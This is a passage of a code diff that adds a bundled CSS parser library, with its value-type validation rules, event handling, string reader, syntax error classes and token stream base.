+        if (this.complex[type] instanceof Matcher) {
+            return this.complex[type].toString(0);
+        }
+        return type;
+    },
+
+    /**
+     * Determines if the next part(s) of the given expression
+     * are any of the given types.
+     */
+    isAny: function (expression, types) {
+        var args = types.split(" | "),
+            i, len, found = false;
+
+        for (i=0, len=args.length; i < len && !found && expression.hasNext(); i++) {
+            found = this.isType(expression, args[i]);
+        }
+
+        return found;
+    },
+
+    /**
+     * Determines if the next part(s) of the given expression
+     * are one of a group.
+     */
+    isAnyOfGroup: function(expression, types) {
+        var args = types.split(" || "),
+            i, len, found = false;
+
+        for (i=0, len=args.length; i < len && !found; i++) {
+            found = this.isType(expression, args[i]);
+        }
+
+        return found ? args[i-1] : false;
+    },
+
+    /**
+     * Determines if the next part(s) of the given expression
+     * are of a given type.
+     */
+    isType: function (expression, type) {
+        var part = expression.peek(),
+            result = false;
+
+        if (type.charAt(0) !== "<") {
+            result = this.isLiteral(part, type);
+            if (result) {
+                expression.next();
+            }
+        } else if (this.simple[type]) {
+            result = this.simple[type](part);
+            if (result) {
+                expression.next();
+            }
+        } else if (this.complex[type] instanceof Matcher) {
+            result = this.complex[type].match(expression);
+        } else {
+            result = this.complex[type](expression);
+        }
+
+        return result;
+    },
+
+
+    simple: {
+        __proto__: null,
+
+        "<absolute-size>":
+            "xx-small | x-small | small | medium | large | x-large | xx-large",
+
+        "<animateable-feature>":
+            "scroll-position | contents | <animateable-feature-name>",
+
+        "<animateable-feature-name>": function(part) {
+            return this["<ident>"](part) &&
+                !/^(unset|initial|inherit|will-change|auto|scroll-position|contents)$/i.test(part);
+        },
+
+        "<angle>": function(part) {
+            return part.type === "angle";
+        },
+
+        "<attachment>": "scroll | fixed | local",
+
+        "<attr>": "attr()",
+
+        // inset() = inset( <shape-arg>{1,4} [round <border-radius>]? )
+        // circle() = circle( [<shape-radius>]? [at <position>]? )
+        // ellipse() = ellipse( [<shape-radius>{2}]? [at <position>]? )
+        // polygon() = polygon( [<fill-rule>,]? [<shape-arg> <shape-arg>]# )
+        "<basic-shape>": "inset() | circle() | ellipse() | polygon()",
+
+        "<bg-image>": "<image> | <gradient> | none",
+
+        "<border-style>":
+            "none | hidden | dotted | dashed | solid | double | groove | " +
+            "ridge | inset | outset",
+
+        "<border-width>": "<length> | thin | medium | thick",
+
+        "<box>": "padding-box | border-box | content-box",
+
+        "<clip-source>": "<uri>",
+
+        "<color>": function(part) {
+            return part.type === "color" || String(part) === "transparent" || String(part) === "currentColor";
+        },
+
+        // The SVG <color> spec doesn't include "currentColor" or "transparent" as a color.
+        "<color-svg>": function(part) {
+            return part.type === "color";
+        },
+
+        "<content>": "content()",
+
+        // https://www.w3.org/TR/css3-sizing/#width-height-keywords
+        "<content-sizing>":
+            "fill-available | -moz-available | -webkit-fill-available | " +
+            "max-content | -moz-max-content | -webkit-max-content | " +
+            "min-content | -moz-min-content | -webkit-min-content | " +
+            "fit-content | -moz-fit-content | -webkit-fit-content",
+
+        "<feature-tag-value>": function(part) {
+            return part.type === "function" && /^[A-Z0-9]{4}$/i.test(part);
+        },
+
+        // custom() isn't actually in the spec
+        "<filter-function>":
+            "blur() | brightness() | contrast() | custom() | " +
+            "drop-shadow() | grayscale() | hue-rotate() | invert() | " +
+            "opacity() | saturate() | sepia()",
+
+        "<flex-basis>": "<width>",
+
+        "<flex-direction>": "row | row-reverse | column | column-reverse",
+
+        "<flex-grow>": "<number>",
+
+        "<flex-shrink>": "<number>",
+
+        "<flex-wrap>": "nowrap | wrap | wrap-reverse",
+
+        "<font-size>":
+            "<absolute-size> | <relative-size> | <length> | <percentage>",
+
+        "<font-stretch>":
+            "normal | ultra-condensed | extra-condensed | condensed | " +
+            "semi-condensed | semi-expanded | expanded | extra-expanded | " +
+            "ultra-expanded",
+
+        "<font-style>": "normal | italic | oblique",
+
+        "<font-variant-caps>":
+            "small-caps | all-small-caps | petite-caps | all-petite-caps | " +
+            "unicase | titling-caps",
+
+        "<font-variant-css21>": "normal | small-caps",
+
+        "<font-weight>":
+            "normal | bold | bolder | lighter | " +
+            "100 | 200 | 300 | 400 | 500 | 600 | 700 | 800 | 900",
+
+        "<generic-family>":
+            "serif | sans-serif | cursive | fantasy | monospace",
+
+        "<geometry-box>": "<shape-box> | fill-box | stroke-box | view-box",
+
+        "<glyph-angle>": function(part) {
+            return part.type === "angle" && part.units === "deg";
+        },
+
+        "<gradient>": function(part) {
+            return part.type === "function" && /^(?:\-(?:ms|moz|o|webkit)\-)?(?:repeating\-)?(?:radial\-|linear\-)?gradient/i.test(part);
+        },
+
+        "<icccolor>":
+            "cielab() | cielch() | cielchab() | " +
+            "icc-color() | icc-named-color()",
+
+        //any identifier
+        "<ident>": function(part) {
+            return part.type === "identifier" || part.wasIdent;
+        },
+
+        "<ident-not-generic-family>": function(part) {
+            return this["<ident>"](part) && !this["<generic-family>"](part);
+        },
+
+        "<image>": "<uri>",
+
+        "<integer>": function(part) {
+            return part.type === "integer";
+        },
+
+        "<length>": function(part) {
+            if (part.type === "function" && /^(?:\-(?:ms|moz|o|webkit)\-)?calc/i.test(part)) {
+                return true;
+            } else {
+                return part.type === "length" || part.type === "number" || part.type === "integer" || String(part) === "0";
+            }
+        },
+
+        "<line>": function(part) {
+            return part.type === "integer";
+        },
+
+        "<line-height>": "<number> | <length> | <percentage> | normal",
+
+        "<margin-width>": "<length> | <percentage> | auto",
+
+        "<miterlimit>": function(part) {
+            return this["<number>"](part) && part.value >= 1;
+        },
+
+        "<nonnegative-length-or-percentage>": function(part) {
+            return (this["<length>"](part) || this["<percentage>"](part)) &&
+                (String(part) === "0" || part.type === "function" || (part.value) >= 0);
+        },
+
+        "<nonnegative-number-or-percentage>": function(part) {
+            return (this["<number>"](part) || this["<percentage>"](part)) &&
+                (String(part) === "0" || part.type === "function" || (part.value) >= 0);
+        },
+
+        "<number>": function(part) {
+            return part.type === "number" || this["<integer>"](part);
+        },
+
+        "<opacity-value>": function(part) {
+            return this["<number>"](part) && part.value >= 0 && part.value <= 1;
+        },
+
+        "<padding-width>": "<nonnegative-length-or-percentage>",
+
+        "<percentage>": function(part) {
+            return part.type === "percentage" || String(part) === "0";
+        },
+
+        "<relative-size>": "smaller | larger",
+
+        "<shape>": "rect() | inset-rect()",
+
+        "<shape-box>": "<box> | margin-box",
+
+        "<single-animation-direction>":
+            "normal | reverse | alternate | alternate-reverse",
+
+        "<single-animation-name>": function(part) {
+            return this["<ident>"](part) &&
+                /^-?[a-z_][-a-z0-9_]+$/i.test(part) &&
+                !/^(none|unset|initial|inherit)$/i.test(part);
+        },
+
+        "<string>": function(part) {
+            return part.type === "string";
+        },
+
+        "<time>": function(part) {
+            return part.type === "time";
+        },
+
+        "<uri>": function(part) {
+            return part.type === "uri";
+        },
+
+        "<width>": "<margin-width>"
+    },
+
+    complex: {
+        __proto__: null,
+
+        "<azimuth>":
+            "<angle>" +
+            " | " +
+            "[ [ left-side | far-left | left | center-left | center | " +
+            "center-right | right | far-right | right-side ] || behind ]" +
+            " | "+
+            "leftwards | rightwards",
+
+        "<bg-position>": "<position>#",
+
+        "<bg-size>":
+            "[ <length> | <percentage> | auto ]{1,2} | cover | contain",
+
+        "<border-image-slice>":
+        // [<number> | <percentage>]{1,4} && fill?
+        // *but* fill can appear between any of the numbers
+        Matcher.many([true /* first element is required */],
+                     Matcher.cast("<nonnegative-number-or-percentage>"),
+                     Matcher.cast("<nonnegative-number-or-percentage>"),
+                     Matcher.cast("<nonnegative-number-or-percentage>"),
+                     Matcher.cast("<nonnegative-number-or-percentage>"),
+                     "fill"),
+
+        "<border-radius>":
+            "<nonnegative-length-or-percentage>{1,4} " +
+            "[ / <nonnegative-length-or-percentage>{1,4} ]?",
+
+        "<box-shadow>": "none | <shadow>#",
+
+        "<clip-path>": "<basic-shape> || <geometry-box>",
+
+        "<dasharray>":
+        // "list of comma and/or white space separated <length>s and
+        // <percentage>s".  There is a non-negative constraint.
+        Matcher.cast("<nonnegative-length-or-percentage>")
+            .braces(1, Infinity, "#", Matcher.cast(",").question()),
+
+        "<family-name>":
+            // <string> | <IDENT>+
+            "<string> | <ident-not-generic-family> <ident>*",
+
+        "<filter-function-list>": "[ <filter-function> | <uri> ]+",
+
+        // https://www.w3.org/TR/2014/WD-css-flexbox-1-20140325/#flex-property
+        "<flex>":
+            "none | [ <flex-grow> <flex-shrink>? || <flex-basis> ]",
+
+        "<font-family>": "[ <generic-family> | <family-name> ]#",
+
+        "<font-shorthand>":
+            "[ <font-style> || <font-variant-css21> || " +
+            "<font-weight> || <font-stretch> ]? <font-size> " +
+            "[ / <line-height> ]? <font-family>",
+
+        "<font-variant-alternates>":
+            // stylistic(<feature-value-name>)
+            "stylistic() || " +
+            "historical-forms || " +
+            // styleset(<feature-value-name> #)
+            "styleset() || " +
+            // character-variant(<feature-value-name> #)
+            "character-variant() || " +
+            // swash(<feature-value-name>)
+            "swash() || " +
+            // ornaments(<feature-value-name>)
+            "ornaments() || " +
+            // annotation(<feature-value-name>)
+            "annotation()",
+
+        "<font-variant-ligatures>":
+            // <common-lig-values>
+            "[ common-ligatures | no-common-ligatures ] || " +
+            // <discretionary-lig-values>
+            "[ discretionary-ligatures | no-discretionary-ligatures ] || " +
+            // <historical-lig-values>
+            "[ historical-ligatures | no-historical-ligatures ] || " +
+            // <contextual-alt-values>
+            "[ contextual | no-contextual ]",
+
+        "<font-variant-numeric>":
+            // <numeric-figure-values>
+            "[ lining-nums | oldstyle-nums ] || " +
+            // <numeric-spacing-values>
+            "[ proportional-nums | tabular-nums ] || " +
+            // <numeric-fraction-values>
+            "[ diagonal-fractions | stacked-fractions ] || " +
+            "ordinal || slashed-zero",
+
+        "<font-variant-east-asian>":
+            // <east-asian-variant-values>
+            "[ jis78 | jis83 | jis90 | jis04 | simplified | traditional ] || " +
+            // <east-asian-width-values>
+            "[ full-width | proportional-width ] || " +
+            "ruby",
+
+        // Note that <color> here is "as defined in the SVG spec", which
+        // is more restrictive that the <color> defined in the CSS spec.
+        // none | currentColor | <color> [<icccolor>]? |
+        // <funciri> [ none | currentColor | <color> [<icccolor>]? ]?
+        "<paint>": "<paint-basic> | <uri> <paint-basic>?",
+
+        // Helper definition for <paint> above.
+        "<paint-basic>": "none | currentColor | <color-svg> <icccolor>?",
+
+        "<position>":
+            // Because our `alt` combinator is ordered, we need to test these
+            // in order from longest possible match to shortest.
+            "[ center | [ left | right ] [ <percentage> | <length> ]? ] && " +
+            "[ center | [ top | bottom ] [ <percentage> | <length> ]? ]" +
+            " | " +
+            "[ left | center | right | <percentage> | <length> ] " +
+            "[ top | center | bottom | <percentage> | <length> ]" +
+            " | " +
+            "[ left | center | right | top | bottom | <percentage> | <length> ]",
+
+        "<repeat-style>":
+            "repeat-x | repeat-y | [ repeat | space | round | no-repeat ]{1,2}",
+
+        "<shadow>":
+        //inset? && [ <length>{2,4} && <color>? ]
+        Matcher.many([true /* length is required */],
+                     Matcher.cast("<length>").braces(2, 4), "inset", "<color>"),
+
+        "<text-decoration-color>":
+           "<color>",
+
+        "<text-decoration-line>":
+            "none | [ underline || overline || line-through || blink ]",
+
+        "<text-decoration-style>":
+            "solid | double | dotted | dashed | wavy",
+
+        "<will-change>":
+            "auto | <animateable-feature>#",
+
+        "<x-one-radius>":
+            //[ <length> | <percentage> ] [ <length> | <percentage> ]?
+            "[ <length> | <percentage> ]{1,2}"
+    }
+});
+
+Object.keys(ValidationTypes.simple).forEach(function(nt) {
+    var rule = ValidationTypes.simple[nt];
+    if (typeof rule === "string") {
+        ValidationTypes.simple[nt] = function(part) {
+            return ValidationTypes.isLiteral(part, rule);
+        };
+    }
+});
+
+Object.keys(ValidationTypes.complex).forEach(function(nt) {
+    var rule = ValidationTypes.complex[nt];
+    if (typeof rule === "string") {
+        ValidationTypes.complex[nt] = Matcher.parse(rule);
+    }
+});
+
+// Because this is defined relative to other complex validation types,
+// we need to define it *after* the rest of the types are initialized.
+ValidationTypes.complex["<font-variant>"] =
+    Matcher.oror({ expand: "<font-variant-ligatures>" },
+                 { expand: "<font-variant-alternates>" },
+                 "<font-variant-caps>",
+                 { expand: "<font-variant-numeric>" },
+                 { expand: "<font-variant-east-asian>" });
+
+},{"./Matcher":3}],22:[function(require,module,exports){
+"use strict";
+
+module.exports = {
+    Colors            : require("./Colors"),
+    Combinator        : require("./Combinator"),
+    Parser            : require("./Parser"),
+    PropertyName      : require("./PropertyName"),
+    PropertyValue     : require("./PropertyValue"),
+    PropertyValuePart : require("./PropertyValuePart"),
+    Matcher           : require("./Matcher"),
+    MediaFeature      : require("./MediaFeature"),
+    MediaQuery        : require("./MediaQuery"),
+    Selector          : require("./Selector"),
+    SelectorPart      : require("./SelectorPart"),
+    SelectorSubPart   : require("./SelectorSubPart"),
+    Specificity       : require("./Specificity"),
+    TokenStream       : require("./TokenStream"),
+    Tokens            : require("./Tokens"),
+    ValidationError   : require("./ValidationError")
+};
+
+},{"./Colors":1,"./Combinator":2,"./Matcher":3,"./MediaFeature":4,"./MediaQuery":5,"./Parser":6,"./PropertyName":8,"./PropertyValue":9,"./PropertyValuePart":11,"./Selector":13,"./SelectorPart":14,"./SelectorSubPart":15,"./Specificity":16,"./TokenStream":17,"./Tokens":18,"./ValidationError":20}],23:[function(require,module,exports){
+"use strict";
+
+module.exports = EventTarget;
+
+/**
+ * A generic base to inherit from for any object
+ * that needs event handling.
+ * @class EventTarget
+ * @constructor
+ */
+function EventTarget() {
+
+    /**
+     * The array of listeners for various events.
+     * @type Object
+     * @property _listeners
+     * @private
+     */
+    this._listeners = Object.create(null);
+}
+
+EventTarget.prototype = {
+
+    //restore constructor
+    constructor: EventTarget,
+
+    /**
+     * Adds a listener for a given event type.
+     * @param {String} type The type of event to add a listener for.
+     * @param {Function} listener The function to call when the event occurs.
+     * @return {void}
+     * @method addListener
+     */
+    addListener: function(type, listener) {
+        if (!this._listeners[type]) {
+            this._listeners[type] = [];
+        }
+
+        this._listeners[type].push(listener);
+    },
+
+    /**
+     * Fires an event based on the passed-in object.
+     * @param {Object|String} event An object with at least a 'type' attribute
+     *      or a string indicating the event name.
+     * @return {void}
+     * @method fire
+     */
+    fire: function(event) {
+        if (typeof event === "string") {
+            event = { type: event };
+        }
+        if (typeof event.target !== "undefined") {
+            event.target = this;
+        }
+
+        if (typeof event.type === "undefined") {
+            throw new Error("Event object missing 'type' property.");
+        }
+
+        if (this._listeners[event.type]) {
+
+            //create a copy of the array and use that so listeners can't chane
+            var listeners = this._listeners[event.type].concat();
+            for (var i=0, len=listeners.length; i < len; i++) {
+                listeners[i].call(this, event);
+            }
+        }
+    },
+
+    /**
+     * Removes a listener for a given event type.
+     * @param {String} type The type of event to remove a listener from.
+     * @param {Function} listener The function to remove from the event.
+     * @return {void}
+     * @method removeListener
+     */
+    removeListener: function(type, listener) {
+        if (this._listeners[type]) {
+            var listeners = this._listeners[type];
+            for (var i=0, len=listeners.length; i < len; i++) {
+                if (listeners[i] === listener) {
+                    listeners.splice(i, 1);
+                    break;
+                }
+            }
+
+
+        }
+    }
+};
+
+},{}],24:[function(require,module,exports){
+"use strict";
+
+module.exports = StringReader;
+
+/**
+ * Convenient way to read through strings.
+ * @namespace parserlib.util
+ * @class StringReader
+ * @constructor
+ * @param {String} text The text to read.
+ */
+function StringReader(text) {
+
+    /**
+     * The input text with line endings normalized.
+     * @property _input
+     * @type String
+     * @private
+     */
+    this._input = text.replace(/(\r\n?|\n)/g, "\n");
+
+
+    /**
+     * The row for the character to be read next.
+     * @property _line
+     * @type int
+     * @private
+     */
+    this._line = 1;
+
+
+    /**
+     * The column for the character to be read next.
+     * @property _col
+     * @type int
+     * @private
+     */
+    this._col = 1;
+
+    /**
+     * The index of the character in the input to be read next.
+     * @property _cursor
+     * @type int
+     * @private
+     */
+    this._cursor = 0;
+}
+
+StringReader.prototype = {
+
+    // restore constructor
+    constructor: StringReader,
+
+    //-------------------------------------------------------------------------
+    // Position info
+    //-------------------------------------------------------------------------
+
+    /**
+     * Returns the column of the character to be read next.
+     * @return {int} The column of the character to be read next.
+     * @method getCol
+     */
+    getCol: function() {
+        return this._col;
+    },
+
+    /**
+     * Returns the row of the character to be read next.
+     * @return {int} The row of the character to be read next.
+     * @method getLine
+     */
+    getLine: function() {
+        return this._line;
+    },
+
+    /**
+     * Determines if you're at the end of the input.
+     * @return {Boolean} True if there's no more input, false otherwise.
+     * @method eof
+     */
+    eof: function() {
+        return this._cursor === this._input.length;
+    },
+
+    //-------------------------------------------------------------------------
+    // Basic reading
+    //-------------------------------------------------------------------------
+
+    /**
+     * Reads the next character without advancing the cursor.
+     * @param {int} count How many characters to look ahead (default is 1).
+     * @return {String} The next character or null if there is no next character.
+     * @method peek
+     */
+    peek: function(count) {
+        var c = null;
+        count = typeof count === "undefined" ? 1 : count;
+
+        // if we're not at the end of the input...
+        if (this._cursor < this._input.length) {
+
+            // get character and increment cursor and column
+            c = this._input.charAt(this._cursor + count - 1);
+        }
+
+        return c;
+    },
+
+    /**
+     * Reads the next character from the input and adjusts the row and column
+     * accordingly.
+     * @return {String} The next character or null if there is no next character.
+     * @method read
+     */
+    read: function() {
+        var c = null;
+
+        // if we're not at the end of the input...
+        if (this._cursor < this._input.length) {
+
+            // if the last character was a newline, increment row count
+            // and reset column count
+            if (this._input.charAt(this._cursor) === "\n") {
+                this._line++;
+                this._col=1;
+            } else {
+                this._col++;
+            }
+
+            // get character and increment cursor and column
+            c = this._input.charAt(this._cursor++);
+        }
+
+        return c;
+    },
+
+    //-------------------------------------------------------------------------
+    // Misc
+    //-------------------------------------------------------------------------
+
+    /**
+     * Saves the current location so it can be returned to later.
+     * @method mark
+     * @return {void}
+     */
+    mark: function() {
+        this._bookmark = {
+            cursor: this._cursor,
+            line:   this._line,
+            col:    this._col
+        };
+    },
+
+    reset: function() {
+        if (this._bookmark) {
+            this._cursor = this._bookmark.cursor;
+            this._line = this._bookmark.line;
+            this._col = this._bookmark.col;
+            delete this._bookmark;
+        }
+    },
+
+    //-------------------------------------------------------------------------
+    // Advanced reading
+    //-------------------------------------------------------------------------
+
+    /**
+     * Reads up to and including the given string. Throws an error if that
+     * string is not found.
+     * @param {String} pattern The string to read.
+     * @return {String} The string when it is found.
+     * @throws Error when the string pattern is not found.
+     * @method readTo
+     */
+    readTo: function(pattern) {
+
+        var buffer = "",
+            c;
+
+        /*
+         * First, buffer must be the same length as the pattern.
+         * Then, buffer must end with the pattern or else reach the
+         * end of the input.
+         */
+        while (buffer.length < pattern.length || buffer.lastIndexOf(pattern) !== buffer.length - pattern.length) {
+            c = this.read();
+            if (c) {
+                buffer += c;
+            } else {
+                throw new Error("Expected \"" + pattern + "\" at line " + this._line  + ", col " + this._col + ".");
+            }
+        }
+
+        return buffer;
+
+    },
+
+    /**
+     * Reads characters while each character causes the given
+     * filter function to return true. The function is passed
+     * in each character and either returns true to continue
+     * reading or false to stop.
+     * @param {Function} filter The function to read on each character.
+     * @return {String} The string made up of all characters that passed the
+     *      filter check.
+     * @method readWhile
+     */
+    readWhile: function(filter) {
+
+        var buffer = "",
+            c = this.peek();
+
+        while (c !== null && filter(c)) {
+            buffer += this.read();
+            c = this.peek();
+        }
+
+        return buffer;
+
+    },
+
+    /**
+     * Reads characters that match either text or a regular expression and
+     * returns those characters. If a match is found, the row and column
+     * are adjusted; if no match is found, the reader's state is unchanged.
+     * reading or false to stop.
+     * @param {String|RegExp} matcher If a string, then the literal string
+     *      value is searched for. If a regular expression, then any string
+     *      matching the pattern is search for.
+     * @return {String} The string made up of all characters that matched or
+     *      null if there was no match.
+     * @method readMatch
+     */
+    readMatch: function(matcher) {
+
+        var source = this._input.substring(this._cursor),
+            value = null;
+
+        // if it's a string, just do a straight match
+        if (typeof matcher === "string") {
+            if (source.slice(0, matcher.length) === matcher) {
+                value = this.readCount(matcher.length);
+            }
+        } else if (matcher instanceof RegExp) {
+            if (matcher.test(source)) {
+                value = this.readCount(RegExp.lastMatch.length);
+            }
+        }
+
+        return value;
+    },
+
+
+    /**
+     * Reads a given number of characters. If the end of the input is reached,
+     * it reads only the remaining characters and does not throw an error.
+     * @param {int} count The number of characters to read.
+     * @return {String} The string made up the read characters.
+     * @method readCount
+     */
+    readCount: function(count) {
+        var buffer = "";
+
+        while (count--) {
+            buffer += this.read();
+        }
+
+        return buffer;
+    }
+
+};
+
+},{}],25:[function(require,module,exports){
+"use strict";
+
+module.exports = SyntaxError;
+
+/**
+ * Type to use when a syntax error occurs.
+ * @class SyntaxError
+ * @namespace parserlib.util
+ * @constructor
+ * @param {String} message The error message.
+ * @param {int} line The line at which the error occurred.
+ * @param {int} col The column at which the error occurred.
+ */
+function SyntaxError(message, line, col) {
+    Error.call(this);
+    this.name = this.constructor.name;
+
+    /**
+     * The column at which the error occurred.
+     * @type int
+     * @property col
+     */
+    this.col = col;
+
+    /**
+     * The line at which the error occurred.
+     * @type int
+     * @property line
+     */
+    this.line = line;
+
+    /**
+     * The text representation of the unit.
+     * @type String
+     * @property text
+     */
+    this.message = message;
+
+}
+
+//inherit from Error
+SyntaxError.prototype = Object.create(Error.prototype); // jshint ignore:line
+SyntaxError.prototype.constructor = SyntaxError; // jshint ignore:line
+
+},{}],26:[function(require,module,exports){
+"use strict";
+
+module.exports = SyntaxUnit;
+
+/**
+ * Base type to represent a single syntactic unit.
+ * @class SyntaxUnit
+ * @namespace parserlib.util
+ * @constructor
+ * @param {String} text The text of the unit.
+ * @param {int} line The line of text on which the unit resides.
+ * @param {int} col The column of text on which the unit resides.
+ */
+function SyntaxUnit(text, line, col, type) {
+
+
+    /**
+     * The column of text on which the unit resides.
+     * @type int
+     * @property col
+     */
+    this.col = col;
+
+    /**
+     * The line of text on which the unit resides.
+     * @type int
+     * @property line
+     */
+    this.line = line;
+
+    /**
+     * The text representation of the unit.
+     * @type String
+     * @property text
+     */
+    this.text = text;
+
+    /**
+     * The type of syntax unit.
+     * @type int
+     * @property type
+     */
+    this.type = type;
+}
+
+/**
+ * Create a new syntax unit based solely on the given token.
+ * Convenience method for creating a new syntax unit when
+ * it represents a single token instead of multiple.
+ * @param {Object} token The token object to represent.
+ * @return {parserlib.util.SyntaxUnit} The object representing the token.
+ * @static
+ * @method fromToken
+ */
+SyntaxUnit.fromToken = function(token) {
+    return new SyntaxUnit(token.value, token.startLine, token.startCol);
+};
+
+SyntaxUnit.prototype = {
+
+    //restore constructor
+    constructor: SyntaxUnit,
+
+    /**
+     * Returns the text representation of the unit.
+     * @return {String} The text representation of the unit.
+     * @method valueOf
+     */
+    valueOf: function() {
+        return this.toString();
+    },
+
+    /**
+     * Returns the text representation of the unit.
+     * @return {String} The text representation of the unit.
+     * @method toString
+     */
+    toString: function() {
+        return this.text;
+    }
+
+};
+
+},{}],27:[function(require,module,exports){
+"use strict";
+
+module.exports = TokenStreamBase;
+
+var StringReader = require("./StringReader");
+var SyntaxError = require("./SyntaxError");
+
+/**
+ * Generic TokenStream providing base functionality.
+ * @class TokenStreamBase
+ * @namespace parserlib.util
+ * @constructor
+ * @param {String|StringReader} input The text to tokenize or a reader from
+ *      which to read the input.
+ */
+function TokenStreamBase(input, tokenData) {
+
+    /**
+     * The string reader for easy access to the text.
+     * @type StringReader
+     * @property _reader
+     * @private
+     */
+    this._reader = new StringReader(input ? input.toString() : "");
+
+    /**
+     * Token object for the last consumed token.
+     * @type Token
+     * @property _token
+     * @private
+     */
+    this._token = null;
+
+    /**
+     * The array of token information.
+     * @type Array
+     * @property _tokenData
+     * @private
+     */
+    this._tokenData = tokenData;
+
+    /**
+     * Lookahead token buffer.
+     * @type Array
+     * @property _lt
+     * @private
+     */
+    this._lt = [];
+
+    /**
+     * Lookahead token buffer index.
+     * @type int
+     * @property _ltIndex
+     * @private
+     */
+    this._ltIndex = 0;
+
+    this._ltIndexCache = [];
+}
+
+/**
+ * Accepts an array of token information and outputs
+ * an array of token data containing key-value mappings
+ * and matching functions that the TokenStream needs.
+ * @param {Array} tokens An array of token descriptors.
+ * @return {Array} An array of processed token data.
+ * @method createTokenData
+ * @static
+ */
+TokenStreamBase.createTokenData = function(tokens) {
+
+    var nameMap     = [],
+        typeMap     = Object.create(null),
+        tokenData     = tokens.concat([]),
+        i            = 0,
+        len            = tokenData.length+1;
+
+    tokenData.UNKNOWN = -1;
+    tokenData.unshift({ name:"EOF" });
+
+    for (; i < len; i++) {
+        nameMap.push(tokenData[i].name);
+        tokenData[tokenData[i].name] = i;
+        if (tokenData[i].text) {
+            typeMap[tokenData[i].text] = i;
+        }
+    }
+
+    tokenData.name = function(tt) {
+        return nameMap[tt];
+    };
+
+    tokenData.type = function(c) {
+        return typeMap[c];
+    };
+
+    return tokenData;
+};
+
+TokenStreamBase.prototype = {
+
+    //restore constructor
+    constructor: TokenStreamBase,
+
+    //-------------------------------------------------------------------------
+    // Matching methods
+    //-------------------------------------------------------------------------
+
+    /**
+     * Determines if the next token matches the given token type.
+     * If so, that token is consumed; if not, the token is placed
+     * back onto the token stream. You can pass in any number of
+     * token types and this will return true if any of the token
+     * types is found.
+     * @param {int|int[]} tokenTypes Either a single token type or an array of
+     *      token types that the next token might be. If an array is passed,
+     *      it's assumed that the token can be any of these.
+     * @param {variant} channel (Optional) The channel to read from. If not
+     *      provided, reads from the default (unnamed) channel.
+     * @return {Boolean} True if the token type matches, false if not.
+     * @method match
+     */
+    match: function(tokenTypes, channel) {
+
+        //always convert to an array, makes things easier
+        if (!(tokenTypes instanceof Array)) {
+            tokenTypes = [tokenTypes];
+        }
+
+        var tt  = this.get(channel),
+            i   = 0,
+            len = tokenTypes.length;
+
+        while (i < len) {
+            if (tt === tokenTypes[i++]) {
+                return true;
+            }
+        }
+
+        //no match found, put the token back
+        this.unget();
+        return false;
+    },
+
+    /**
+     * Determines if the next token matches the given token type.
+     * If so, that token is consumed; if not, an error is thrown.
+     * @param {int|int[]} tokenTypes Either a single token type or an array of
+     *      token types that the next token should be. If an array is passed,
+     *      it's assumed that the token must be one of these.
+     * @return {void}
+     * @method mustMatch
+     */
+    mustMatch: function(tokenTypes) {
+
+        var token;
+
+        //always convert to an array, makes things easier
+        if (!(tokenTypes instanceof Array)) {
+            tokenTypes = [tokenTypes];
+        }
+
+        if (!this.match.apply(this, arguments)) {
+            token = this.LT(1);
+            throw new SyntaxError("Expected " + this._tokenData[tokenTypes[0]].name +
+                " at line " + token.startLine + ", col " + token.startCol + ".", token.startLine, token.startCol);
+        }
+    },
+
+    //-------------------------------------------------------------------------
+    // Consuming methods
+    //-------------------------------------------------------------------------
+
+    /**
+     * Keeps reading from the token stream until either one of the specified
+     * token types is found or until the end of the input is reached.
+     * @param {int|int[]} tokenTypes Either a single token type or an array of
+     *      token types that the next token should be. If an array is passed,
+     *      it's assumed that the token must be one of these.
+     * @param {variant} channel (Optional) The channel to read from. If not
+     *      provided, reads from the default (unnamed) channel.
+     * @return {void}
+     * @method advance
+     */
+    advance: function(tokenTypes, channel) {
+
+        while (this.LA(0) !== 0 && !this.match(tokenTypes, channel)) {
+            this.get();
+        }
+
+        return this.LA(0);
+    },
+
+    /**
+     * Consumes the next token from the token stream.
+     * @return {int} The token type of the token that was just consumed.
+     * @method get
+     */
+    get: function(channel) {
+
+        var tokenInfo   = this._tokenData,
+            i           =0,
+            token,
+            info;
+
+        //check the lookahead buffer first
+        if (this._lt.length && this._ltIndex >= 0 && this._ltIndex < this._lt.length) {
+
+            i++;
+            this._token = this._lt[this._ltIndex++];
+            info = tokenInfo[this._token.type];
+
+            //obey channels logic
+            while ((info.channel !== undefined && channel !== info.channel) &&
+                    this._ltIndex < this._lt.length) {
+                this._token = this._lt[this._ltIndex++];
+                info = tokenInfo[this._token.type];
+                i++;
+            }
+
+            //here be dragons
+            if ((info.channel === undefined || channel === info.channel) &&
+                    this._ltIndex <= this._lt.length) {
+                this._ltIndexCache.push(i);
+                return this._token.type;
+            }
+        }
+
+        //call token retriever method
+        token = this._getToken();
+
+        //if it should be hidden, don't save a token
+        if (token.type > -1 && !tokenInfo[token.type].hide) {
+
+            //apply token channel
+            token.channel = tokenInfo[token.type].channel;
+
+            //save for later
+            this._token = token;
+            this._lt.push(token);
+
+            //save space that will be moved (must be done before array is truncated)
+            this._ltIndexCache.push(this._lt.length - this._ltIndex + i);
+
+            //keep the buffer under 5 items
+            if (this._lt.length > 5) {
+                this._lt.shift();
+            }
+
+            //also keep the shift buffer under 5 items
+            if (this._ltIndexCache.length > 5) {
+                this._ltIndexCache.shift();
+            }
+
+            //update lookahead index
+            this._ltIndex = this._lt.length;
+        }
+
+        /*
+         * Skip to the next token if:
+         * 1. The token type is marked as hidden.
+         * 2. The token type has a channel specified and it isn't the current channel.
+         */
+        info = tokenInfo[token.type];
+        if (info &&
+                (info.hide ||
+                (info.channel !== undefined && channel !== info.channel))) {
+            return this.get(channel);
+        } else {
+            //return just the type
+            return token.type;
+        }
+    },
+
+    /**
+     * Looks ahead a certain number of tokens and returns the token type at
+     * that position. This will throw an error if you lookahead past the
+     * end of input, past the size of the lookahead buffer, or back past
+     * the first token in the lookahead buffer.
+     * @param {int} The index of the token type to retrieve. 0 for the
+     *      current token, 1 for the next, -1 for the previous, etc.
+     * @return {int} The token type of the token in the given position.
+     * @method LA
+     */
+    LA: function(index) {
+        var total = index,
+            tt;
+        if (index > 0) {
+            //TODO: Store 5 somewhere
+            if (index > 5) {
+                throw new Error("Too much lookahead.");
+            }
+
+            //get all those tokens
+            while (total) {
+                tt = this.get();
+                total--;
+            }
+
+            //unget all those tokens
+            while (total < index) {
+                this.unget();
+                total++;
+            }
+        } else if (index < 0) {
+
+            if (this._lt[this._ltIndex+index]) {
+                tt = this._lt[this._ltIndex+index].type;
+            } else {
+                throw new Error("Too much lookbehind.");
+            }
+
+        } else {
+            tt = this._token.type;
